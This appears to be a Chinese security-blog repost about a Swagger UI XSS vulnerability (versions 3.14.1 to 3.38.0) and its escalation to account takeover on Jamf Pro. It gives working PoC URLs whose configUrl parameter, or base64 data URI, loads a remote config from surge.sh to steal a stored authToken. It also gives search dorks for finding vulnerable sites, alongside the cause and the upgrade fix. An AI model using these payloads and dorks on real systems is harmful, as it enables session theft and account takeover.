Swagger-UI 从XSS到账户接管

admin 2022年5月24日07:28:37评论19 views字数 1366阅读4分33秒阅读模式

背景介绍:

漏洞已在 2021 年初修复,但是仍然能够在许多公司中利用它,例如Paypal、Atlassian、Microsoft、GitLab、Yahoo等等。

GitLab甚至为后来的存储型XSS给出了$2000的赏金奖励。

Swagger-UI 从XSS到账户接管

GitLab 存储型XSS漏洞

 

受影响版本:

 

受 XSS 影响的 Swagger UI 版本为 >=3.14.1 < 3.38.0,如果各位手里有之前挖到的Swagger UI站点,可以挖一波了哦,如果挖到的话,不妨跟我分享一下哈~

 

XSS POC:

?configUrl=https://jumpy-floor.surge.sh/test.json

而这个test.json文件真正指向的是test.yaml文件。

 

https://jumpy-floor.surge.sh/test.yaml

 

随便找个存在漏洞的Swagger-UI站点,测试一下:

 

Swagger-UI 从XSS到账户接管

 

 

漏洞搜索:

 

Google Dork:

intext:"Swagger UIintitle:"Swagger UIsite:Target.com

 

GitHub Dork:

/swagger-ui-dist": "3.[1-3]/ path:*/package.json

 

 

账户接管漏洞:

 

这个漏洞在很多不同的系统中都很常见,白帽子在 Jamf 中也发现了它,那么 Jamf 是什么?

Jamf Pro 是适用于 Apple 平台的综合企业管理软件,可简化 Mac、iPad、iPhone 和 Apple TV 的 IT 管理

 

Jamf 通常在443或者8443的端口上运行,Swagger UI 可以在 /classicapi/doc/ 下找到。


Jamf Pro 将身份验证令牌存储在authToken密钥下的本地存储中,下面的 POC可以将Token从本地存储中打印出来:

 

POC有所不同:

?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

 

账户接管:

https://VULNERABLE_JAMF/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

 

漏洞产生原因:

 

主要漏洞点是DOMPurify2.2.3,因为存在漏洞的 Swagger UI 版本使用了DomPurifyversion 2.2.2。

 

Swagger-UI 从XSS到账户接管

 

漏洞修复:

 

在swagger-ui-dist文件中查找package.json,检查版本是否 >=3.14.1 < 3.38.0,修复漏洞也很简单,只需将Swagger-ui更新到最新版本即可,当然如果你无法升级整个Swagger UI软件的话,升级DOMPurify版本也是可以的。

 

漏洞发现过程

 

这个漏洞发现的过程还是挺有趣的,干货比较多,有兴趣的同学可以通过点击下方“阅读原文”跳转至文章原文查看,看看作者是如何绕过过滤最终发现这个漏洞,并成功获得$赏金的。

 

====正文结束====

 

原文始发于微信公众号(骨哥说事):Swagger-UI 从XSS到账户接管

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月24日07:28:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Swagger-UI 从XSS到账户接管https://cn-sec.com/archives/1053352.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息